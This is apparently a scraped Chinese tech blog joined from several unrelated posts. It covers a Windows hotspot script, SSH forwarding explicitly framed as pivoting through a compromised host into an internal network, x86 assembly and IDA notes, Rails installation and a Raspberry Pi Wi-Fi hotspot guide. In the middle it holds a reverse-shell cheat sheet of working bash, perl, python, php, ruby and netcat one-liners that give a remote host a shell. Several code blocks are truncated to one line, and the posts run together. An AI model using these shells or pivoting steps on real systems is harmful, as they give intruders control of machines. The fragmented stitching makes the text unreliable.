1 | @echo off |
1 | @echo off |
建立热点:
@echo off
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=热点名 key=密码
netsh wlan start hostednetwork
关闭热点
netsh wlan set hostednetwork mode=disallow
在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:
1 | ssh -L 8080:localhost:80 [email protected] |
这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:
1 | ssh -R 8080:localhost80 [email protected] |
这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:
1 | ssh -g -L 8080:10.0.0.3:80 [email protected] |
此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:
1 | ssh -D 8080 [email protected] |
此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:
1 | ssh -X [email protected] |
这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。
Get System Info
1 | @echo off |
Get Task List
1 | '''''''''''''''''''''''''''''''''''' |
bash
1 | $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php
1 | php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
nc
1 | $ nc -e /bin/sh 10.0.0.1 1234 |
1 | $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f |
1 | $ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999 |
jsp
1 | r = Runtime.getRuntime() |
C
1 | #include <stdio.h> |
VmWare默认的镜像格式是.vmdk格式的,VirtualBox则默认是.vdi格式的。其实这在VirtualBox新建虚拟机的过程中是可选的。
导入.vmdk格式的镜像到VirtualBox只需要新建一个虚拟机,并且不创建虚拟硬盘。如下图:
无视警告,继续:
创建好之后,在设置里面把.vmdk格式的虚拟硬盘添加进去:
这样就可以了。
如果遇到windows虚拟机起不开的情况,尝试更改下下面这个选项,启用I/O APIC试试。
二进制安全相关工具和教程站点
CPU指令的基本单位
总线
地址空间
寻址方式
寄存器(80386处理器中的寄存器分为8组,每组宽度为32位)
PSW寄存器详解
| 15 | 14 | 13 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| – | – | – | – | OF | DF | IF | TF | SF | ZF | – | AF | – | PF | – | CF |
| 标志位 | 说明 |
|---|---|
| OF(Overflow Flag)溢出标志 | 溢出时为1,否则置0 |
| SF(Sign Flag)符号标志 | 结果为负时置1,否则置0 |
| ZF(Zero Flag)零标志 | 运算结果为0时ZF位置1,否则置0 |
| CF(Carry Flag)进位标志 | 进位时置1,否则置0 |
| AF(Auxiliary carry Flag) | 辅助进位标志,记录运算时第3位(半个字节)产生的进位置。有进位时1,否则置0 |
| PF(Parity Flag)奇偶标志 | 结果操作数中1的个数为偶数时置1,否则置0 |
| DF(Direction Flag)方向标志 | 在串处理指令中控制信息的方向 |
| if(Interrupt Flag)中断标志 | |
| TF(Trap Flag)陷阱标志 |
整数
整数表达式优先级
数据传送
通用数据传送
伪指令
代码标号
1 | target: |
数据标号
1 | first BYTE 10 |
注释
1 | ;单行注释 |
1 | mov 赋值 |
1 | byte 8位无符号整数 |
1 | .data |
push 压栈
pop 出栈
MOV 赋值
MOVZX 零拓展传送
MOVSX 符号拓展传送
1 | MOV DL,90H ;DL=90H |
CBW 将字节数据扩展成字,符号位扩展到AH中
CWD 将字数据扩展成双字,符号位放到DX中
1 | MOV AL,70H ; |
XCHG 交换两个操作数的数据,支持8位、16位、32位
PUSH 入栈,支持立即数入栈
PUSHA 将8个16位通用寄存器全部入栈,顺序为AX,CX,DX,BX,SP,BP,SI,DI,然后SP指针寄存减16,内容为PUSHA指令执行前的内容
PUSHAD 将8个32位通用寄存器全部入栈,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI,然后ESP的内容是执行指令PUSHAD之前的内容
POP 出栈
POPA 8个16位通用寄存器全部出栈,堆栈指针寄存器不是堆栈中弹出的内容,而是加16之后得到
POPAD 8个32位通用寄存器全部出栈,ESP的内容是执行指令PUSHAD之前的内容
LEA 取有效地址
1 | MOV EAX, 11111111h |
LDS 装入指针,目的寄存器必须是16位或32位的通用寄存器,操作数必须是内存单元,不能是立即数
1 | LDS EAX, [1000H];将偏移地址为1000,1001h这两个字节单元的内容送给DS,将1002,1003,1004,1005这四个字节单元的内容送往EAX |
LES 同LDS,不过段寄存器是ES
LFS 同LDS,不过段寄存器是FS
LGS 同LDS,不过段寄存器是GS
LSS 同LDS,不过段寄存器是SS
LAHF 将标志寄存器的低8位送至AH中,包括SF,ZF,ZF,PF,CF。
SAHF 与LAHF的过程恰好相反
PUSHF 将标志寄存器的EFLAGS低16位内容入栈
PUSHFD 将标志寄存器EFLAGS的内容入栈
POPF 将栈顶的一个字弹出,并将它送到标志寄存器EFLAGS的低16位
POPFD 将栈顶的两个字弹出,并将它送到标志寄存器EFLAGS
OFFSET 取当前内存的地址
1 | offset Array |
EBP EBP指向栈底
ESP 指向栈区域的栈顶位置
EIP 指向下一个将会被执行的指令
EAX = [AX]+[AH+AL]
db: 声明 1 byte(字节)变量
dw: 声明 2 byte(字节)变量 = 1 word
dd: 声明 4 byte(字节)变量 = 2 word = 1 double word
1 | mov eax ebx |
和C语言的对比:
a = b[0x66] => mov eax [ebx+66h]
数据交换
1 | lea edx, b ;将edx指向b |
条件跳转:
cmp 比较结果
jx 检查条件x,有大于、小于、等于三个状态
je 相等时跳转
jne 不相等时跳转
jb、ja 比较无符号数然后决定是否跳转
jl、jg 比较有符号数然后决定是否跳转
jbe 在一个无符号数小于或者等于另一个无符号数时发生跳转
jmp 无条件跳转
1 | cmp EAX,EBX ;比较EAX和EBX |
1 | push offset, LibName ;将字符串偏移量压入堆栈 |
文件偏移地址 = 虚拟内存地址-装载基址-节偏移
= RVA - 节偏移
1 | 4d 5a MZ |
1 | ff d8 ff e0 00 10 4a 46 49 46 JFIF |
1 | ca fe ba be |
1 | gcc -o test test.c |
1 | ldd ./test |
反汇编器:
1 | msfpayload linux/x86/shell_findport CPORT=4444 R >test |
分析网络数据包中可能包含shellcode的计算机网络攻击时,可以采用流式反汇编器来反汇编数据包中包含shellcode的部分
栈帧: 程序运行时栈中分配的内存块,专门用于特定的函数调用。
因为每个递归函数调用都有自己的栈帧,使得递归成为可能。
函数调用步骤:
1.调用方将被调用方所需的参数放到该函数所采用的调用约定制定的位置
2.调用方将控制权转交给被调用方
3.如有必要,为被调用的函数配置栈指针
4.被调用方为局部变量分配空间
5.被调用函数执行操作
6.函数完成操作后,为局部变量保留的栈空间被释放。(逆向执行第4步中的操作)
7.还原寄存器值
8.被调用函数将控制权返还给调用方
9.删除栈中的参数
调用约定: 通过调用函数将函数参数存入栈中,调用函数必须存储被调用函数所需的参数。
调用约定指定调用方放置函数所需参数的具体位置。
调用约定可能要求将参数放置在制定的寄存器、程序栈或者寄存器和栈中。
c调用规定。
cdecl调用约定规定:
调用方按从右到左的顺序将函数参数放入栈中。
在被调用的函数完成操作时,调用方负责从栈中清除参数。
要分析的文件为main.exe
会在目录中生成
从磁盘加载文件,解析文件头信息,创建包含代码或数据的程序块
编译器识别:IDA尝试确定用于创建输入文件的编译器,如果能确定,就可以扫描该编译器使用的样板代码序列
函数参数和局部变量识别:
数据类型信息:
| 地址 | 指令 | 16进制 | 指令长度 |
|---|---|---|---|
| .text:00401010 | push ebp | 55 | 1byte |
| .text:00401011 | mov ebp, esp | 8B EC | 2byte |
| .text:00401013 | sub esp, 44h | 83 EC 44 | 3byte |
| .text:00401016 | push ebx | 53 | 1byte |
步骤如下
1 | gem sources --add https://ruby.taobao.org/ --remove https://rubygems.org/ |
之后:
1 | gem install rails |
如果是win10,选择 DevKit-mingw64-64-4.7.2-20130224-1432-sfx.exe 这个版本。
然后运行,并选择解压到c:\devkit
进入c:\devkit目录
运行
ruby dk.rb init
之后修改config.yml
添加下面三行
1 | --- |
注意把路径换成当前ruby的安装路径,-前后各有一个空格不可忽略。
然后运行
ruby dk.rb install
最后进入需要建立工程的目录,使用如下命令新建rails项目
rails new testapp
如果在此过程中报错,则进入testapp中
使用
bundler install
来安装所需要的依赖包。
如果还报错,修改testapp目录中的Gemfile
将第一行的sources源内容改为
source 'https://ruby.taobao.org/'
然后再执行bundler install命令
假设你已经安装好ruby了
接下来安装rvm
$ curl -L https://get.rvm.io | bash -s stable
某些情况下,可能需要编译一下rvm的初始化脚本
我的位置是在/etc/profile.d/rvm.sh,所以运行这一句:
$source /etc/profile.d/rvm.sh
接着安装bundler
gem install bundler
然后安装rails
gem install rails
如果这地方出现错误,尝试使用rvm切换ruby的版本:
rvm install 2.0.0
rvm 2.0.0 --default
1 | curl -L https://get.rvm.io | bash -s stable |
最近手上多了一个树莓派2代,于是折腾就这么开始了。
因为总是得要个显示屏或者路由器或者插根网线才能玩,有点麻烦,所以有了此文。
设备清单:
树莓派2代
EDUP EP-N8508GS无线网卡(USB)
普通网线一根
最终实现的效果是树莓派的有线网卡用来作为wan口,无线网卡建立热点
笔记本可以通过连接wifi连接上树莓派进行操作
下面说说过程:
首先我参考了
http://elinux.org/RPI-Wireless-Hotspot
这篇文章中的方法,但是并没有成功。后来看到文章的末尾才知道,是驱动对不上号,文章末尾明确标明默认的hostapd程序不支持rtl8188系列网卡,而我的usb网卡就是rtl8188cus系列。
所以在开始之前,建议先用lsusb命令看一下网卡的型号再考虑进行下一步。
如果你的网卡不是rtl8188系列那你可以参考上面文章中的方法来配置,如果是那么可以参考我的方法。
根据那篇文章最后给出的连接,找到了这个驱动:
https://github.com/lostincynicism/hostapd-rtl8188
然而当编译好驱动重新运行之后仍然是不行,还是不支持。
最后还是参考了这篇文章:
http://wangye.org/blog/archives/845/?_t_t_t=0.7382462719884554
原因可能就是因为我这个系列网卡比较特殊。但是最后在这个文章中发现了编译好的第三方驱动,虽然有点不满意,但还是凑合着用了。
http://www.daveconroy.com/turn-your-raspberry-pi-into-a-wifi-hotspot-with-edimax-nano-usb-ew-7811un-rtl8188cus-chipset/
具体步骤:
先切换为root用户,可以省去很多不必要的麻烦。
所以以下操作都是以root用户:
1.安装hostapd和udhcpd服务并且更换hostapd程序
apt-get install udhcpd hostapd
wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
unzip hostapd.zip
mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
mv hostapd /usr/sbin/hostapd.edimax
ln -sf /usr/sbin/hostapd.edimax /usr/sbin/hostapd
chown root.root /usr/sbin/hostapd
chmod 755 /usr/sbin/hostapd
2.编辑/etc/udhcpd.conf文件,配置dhcp服务:
确保文件当中有下列内容
start 192.168.1.2
end 192.168.1.254
interface wlan0
remaining yes
opt dns 223.5.5.5 223.6.6.6
opt subnet 255.255.255.0
opt router 192.168.1.1
opt lease 864000 #
相信一般都能看懂,其中的interface需要根据情况来写。
3.编辑/etc/default/udhcpd 文件,将下面这行注释掉。
DHCPD_ENABLED="no"
4.将无线网卡wlan0的ip设为192.168.1.1
ifconfig wlan0 192.168.42.1
5.修改/etc/network/interfaces文件,添加下面的内容
iface wlan0 inet static
address 192.168.1.1
netmask 255.255.255.0
并且将下面这两条注释掉
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet manual
6.接着就正式开始配置无线相关的选项了,编辑/etc/hostapd/hostapd.conf,如果没有这个文件就自行创建它。
interface=wlan0
driver=rtl871xdrv
ssid=无线名称
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=无线密码
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
7.在/etc/default/hostapd文件中指定hostapd服务的配置文件,内容如下
DAEMON_CONF="/etc/hostapd/hostapd.conf"
8.更改系统的转发规则和iptables规则,依次运行下列命令:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables-save > /etc/iptables.nat
service hostapd start
service udhcpd start
update-rc.d hostapd enable
update-rc.d udhcpd enable
9.最后一点点收尾工作:
编辑/etc/network/interfaces文件,在末尾加上着一条:
up iptables-restore < /etc/iptables.nat
以及/etc/sysctl.conf文件,确保下面的选项存在
net.ipv4.ip_forward=1
到此为止就全部完成了,用手机,电脑等无线设备都可以连接上树莓派了。
为后续的折腾打下基础。
折腾的整个过程还挺复杂的,需要修改多处文件,而且每一处修改都会微妙的影响到最后路由器的运行,小小的改变都有可能造成瘫痪或者影响性能。由此可见,想DIY一款高性能的个性无线路由器还是很有挑战性的。
创建项目
1 | rails new BootstrapProject |
创建模型
1 | rails g scaffold xxx --skip-stylesheets |
运行迁移
1 | rake db:migrate |
如果项目和模型都已经建立好了并已经运行了迁移,那么可以省略以上步骤,直接进入下面的流程
在Gemfile中添加bootstrap,这里使用twitter-bootstrap-rails
1 | gem 'jquery-rails' |
bundle
1 | bundle install |
安装bootstrap
1 | rails g bootstrap:install |
在模型上运用bootstrap
1 | rails g bootstrap:themed xxx -f |
注:xxx可以是任意的模型,例如模型名称是Article,那么这里的语句就是:
1 | rails g bootstrap:themed Articles |
还要在application.js中加上引用,否则bootstrap的一些按钮会失效:
1 | //= require jquery |
Enjoy it~
Update your browser to view this website correctly. Update my browser now